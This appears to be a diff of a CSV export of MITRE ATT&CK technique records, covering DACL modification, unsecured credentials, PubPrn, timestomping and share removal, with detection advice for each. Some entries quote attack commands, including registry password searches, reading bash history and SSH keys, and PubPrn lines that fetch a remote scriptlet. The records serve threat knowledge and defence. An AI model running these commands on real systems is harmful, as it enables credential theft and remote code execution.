attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018) -Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).",attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee,attack-pattern,['defense-evasion'],2020-09-01T20:05:05.268Z,2020-02-04T19:17:41.767Z,"Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. +Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).",['defense-evasion'],https://attack.mitre.org/techniques/T1222/001,mitre-attack,T1222.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'File: File Metadata']",,"Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. -Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)","['Process: Process Creation', 'Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'File: File Metadata']",,,"['User', 'Administrator', 'SYSTEM']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1552.004', 'url': 'https://attack.mitre.org/techniques/T1552/004'}, {'url': 'https://en.wikipedia.org/wiki/Public-key_cryptography', 'description': 'Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.', 'source_name': 'Wikipedia Public Key Crypto'}, {'url': 'https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf', 'description': 'Kaspersky Labs. (2014, February 11). Unveiling “Careto” - The Masked APT. Retrieved July 5, 2017.', 'source_name': 'Kaspersky Careto'}, {'url': 'https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/', 'description': 'Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia – Game Over. Retrieved July 5, 2017.', 'source_name': 'Palo Alto Prince of Persia'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1552/004,mitre-attack,T1552.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Private Keys,"Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. +Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)",True,"['User', 'Administrator', 'SYSTEM']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1552/004', 'external_id': 'T1552.004'}, {'source_name': 'Wikipedia Public Key Crypto', 'description': 'Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.', 'url': 'https://en.wikipedia.org/wiki/Public-key_cryptography'}, {'source_name': 'Kaspersky Careto', 'description': 'Kaspersky Labs. (2014, February 11). Unveiling “Careto” - The Masked APT. Retrieved July 5, 2017.', 'url': 'https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf'}, {'source_name': 'Palo Alto Prince of Persia', 'description': 'Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia – Game Over. Retrieved July 5, 2017.', 'url': 'https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/'}]",1.0,attack-pattern,attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-04T13:06:49.258Z,2020-03-29T21:36:36.613Z,Private Keys,"Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia) -Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.",attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf,attack-pattern,['credential-access'],2020-03-29T21:36:36.613Z,2020-02-04T13:06:49.258Z,Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.,"['File: File Access', 'Command: Command Execution']","['Itzik Kotler, SafeBreach']",,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1552.003', 'url': 'https://attack.mitre.org/techniques/T1552/003'}, {'url': 'http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way', 'description': 'Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.', 'source_name': 'External to DA, the OS X Way'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1552/003,mitre-attack,T1552.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Bash History,"Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the ""history"" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)",attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3,attack-pattern,['credential-access'],2020-02-07T20:48:49.878Z,2020-02-04T13:02:11.685Z,"Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like ""history"" instead of commands like cat ~/.bash_history.","['File: File Access', 'Command: Command Execution']",,,['User'],"['Linux', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1552.002', 'url': 'https://attack.mitre.org/techniques/T1552/002'}, {'url': 'https://pentestlab.blog/2017/04/19/stored-credentials/', 'description': 'netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.', 'source_name': 'Pentestlab Stored Credentials'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1552/002,mitre-attack,T1552.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Credentials in Registry,"Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons. +Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.",['credential-access'],https://attack.mitre.org/techniques/T1552/004,mitre-attack,T1552.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Itzik Kotler, SafeBreach']","['File: File Access', 'Command: Command Execution']",,Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.,True,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1552/003', 'external_id': 'T1552.003'}, {'source_name': 'External to DA, the OS X Way', 'description': 'Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.', 'url': 'http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way'}]",1.0,attack-pattern,attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-04T13:02:11.685Z,2020-02-07T20:48:49.878Z,Bash History,"Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the ""history"" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)",['credential-access'],https://attack.mitre.org/techniques/T1552/003,mitre-attack,T1552.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Access', 'Command: Command Execution']",,"Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like ""history"" instead of commands like cat ~/.bash_history.",True,['User'],"['Linux', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1552/002', 'external_id': 'T1552.002'}, {'source_name': 'Pentestlab Stored Credentials', 'description': 'netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.', 'url': 'https://pentestlab.blog/2017/04/19/stored-credentials/'}]",1.0,attack-pattern,attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-04T12:58:40.678Z,2020-02-07T20:49:18.834Z,Credentials in Registry,"Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons. Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials) * Local Machine Hive: reg query HKLM /f password /t REG_SZ /s -* Current User Hive: reg query HKCU /f password /t REG_SZ /s",attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580,attack-pattern,['credential-access'],2020-02-07T20:49:18.834Z,2020-02-04T12:58:40.678Z,"Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.","['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Access']","['Sudhanshu Chauhan, @Sudhanshu_C']",,"['Administrator', 'User']",['Windows'],,,,"[""Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys.""]",,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1552.001', 'url': 'https://attack.mitre.org/techniques/T1552/001'}, {'external_id': 'CAPEC-639', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/639.html'}, {'url': 'http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html', 'description': 'CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.', 'source_name': 'CG 2014'}, {'url': 'http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx', 'description': 'Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.', 'source_name': 'SRD GPP'}, {'source_name': 'Unit 42 Hildegard Malware', 'url': 'https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/', 'description': 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.'}, {'source_name': 'Unit 42 Unsecured Docker Daemons', 'url': 'https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/', 'description': ""Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.""}, {'source_name': 'Specter Ops - Cloud Credential Storage', 'url': 'https://posts.specterops.io/head-in-the-clouds-bd038bb69e48', 'description': 'Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.1,True,https://attack.mitre.org/techniques/T1552/001,mitre-attack,T1552.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Credentials In Files,"Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. +* Current User Hive: reg query HKCU /f password /t REG_SZ /s",['credential-access'],https://attack.mitre.org/techniques/T1552/002,mitre-attack,T1552.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Sudhanshu Chauhan, @Sudhanshu_C']","['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Access']",,"Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.",True,"['Administrator', 'User']",['Windows'],,,,"[""Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys.""]",,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1552/001', 'external_id': 'T1552.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/639.html', 'external_id': 'CAPEC-639'}, {'source_name': 'CG 2014', 'description': 'CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.', 'url': 'http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html'}, {'source_name': 'SRD GPP', 'description': 'Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.', 'url': 'http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx'}, {'source_name': 'Unit 42 Hildegard Malware', 'description': 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.', 'url': 'https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/'}, {'source_name': 'Unit 42 Unsecured Docker Daemons', 'description': ""Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021."", 'url': 'https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/'}, {'source_name': 'Specter Ops - Cloud Credential Storage', 'description': 'Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.', 'url': 'https://posts.specterops.io/head-in-the-clouds-bd038bb69e48'}]",1.1,attack-pattern,attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-04T12:52:13.006Z,2021-04-12T18:32:32.803Z,Credentials In Files,"Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP) -In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)",attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc,attack-pattern,['credential-access'],2021-04-12T18:32:32.803Z,2020-02-04T12:52:13.006Z,"While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.","['File: File Access', 'Command: Command Execution']","['Rory McCune, Aqua Security', 'Jay Chen, Palo Alto Networks', 'Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee', 'Microsoft Threat Intelligence Center (MSTIC)']",,"['Administrator', 'SYSTEM', 'User']","['Windows', 'IaaS', 'Linux', 'macOS', 'Containers']",,CAPEC-639,https://capec.mitre.org/data/definitions/639.html,['Access to files'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1552', 'url': 'https://attack.mitre.org/techniques/T1552'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.2,False,https://attack.mitre.org/techniques/T1552,mitre-attack,T1552,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Unsecured Credentials,"Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).",attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517,attack-pattern,['credential-access'],2021-04-12T18:32:33.620Z,2020-02-04T12:47:23.631Z,"While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information. +In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)",['credential-access'],https://attack.mitre.org/techniques/T1552/001,mitre-attack,T1552.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Rory McCune, Aqua Security', 'Jay Chen, Palo Alto Networks', 'Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee', 'Microsoft Threat Intelligence Center (MSTIC)']","['File: File Access', 'Command: Command Execution']",,"While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.",True,"['Administrator', 'SYSTEM', 'User']","['Windows', 'IaaS', 'Linux', 'macOS', 'Containers']",,CAPEC-639,https://capec.mitre.org/data/definitions/639.html,['Access to files'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1552', 'external_id': 'T1552'}]",1.2,attack-pattern,attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-04T12:47:23.631Z,2021-04-12T18:32:33.620Z,Unsecured Credentials,"Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).",['credential-access'],https://attack.mitre.org/techniques/T1552,mitre-attack,T1552,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'File: File Access', 'Process: Process Creation', 'User Account: User Account Authentication', 'Windows Registry: Windows Registry Key Access']",,"While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information. Monitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior. Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like ""history"" instead of commands like cat ~/.bash_history. -Additionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.","['Command: Command Execution', 'File: File Access', 'Process: Process Creation', 'User Account: User Account Authentication', 'Windows Registry: Windows Registry Key Access']",,,"['User', 'Administrator', 'SYSTEM']","['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1216.001', 'url': 'https://attack.mitre.org/techniques/T1216/001'}, {'url': 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/', 'description': 'Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.', 'source_name': 'Enigma0x3 PubPrn Bypass'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1216/001,mitre-attack,T1216.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,PubPrn,"Adversaries may use the trusted PubPrn script to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application control solutions that do not account for use of these scripts. +Additionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.",False,"['User', 'Administrator', 'SYSTEM']","['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1216/001', 'external_id': 'T1216.001'}, {'source_name': 'pubprn', 'description': 'Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn'}, {'source_name': 'Enigma0x3 PubPrn Bypass', 'description': 'Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.', 'url': 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'}]",1.1,attack-pattern,attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-03T16:49:57.788Z,2021-09-01T00:57:01.161Z,PubPrn,"Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn) -PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and can be used to proxy execution from a remote site.(Citation: Enigma0x3 PubPrn Bypass) An example command is cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png.",attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58,attack-pattern,['defense-evasion'],2020-06-08T23:36:30.648Z,2020-02-03T16:49:57.788Z,"Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.","['Process: Process Creation', 'Command: Command Execution', 'Script: Script Execution']",,,['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1070.006', 'url': 'https://attack.mitre.org/techniques/T1070/006'}, {'url': 'http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html', 'description': 'Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.', 'source_name': 'WindowsIR Anti-Forensic Techniques'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1070/006,mitre-attack,T1070.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Timestomp,"Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. +Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script. -Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)",attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611,attack-pattern,['defense-evasion'],2020-03-29T21:39:46.724Z,2020-01-31T12:42:44.103Z,Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.,"['File: File Modification', 'File: File Metadata']","['Romain Dumont, ESET']",['Host forensic analysis'],"['root', 'SYSTEM', 'User']","['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1070.005', 'url': 'https://attack.mitre.org/techniques/T1070/005'}, {'url': 'https://technet.microsoft.com/bb490717.aspx', 'description': 'Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.', 'source_name': 'Technet Net Use'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1070/005,mitre-attack,T1070.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network Share Connection Removal,Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net 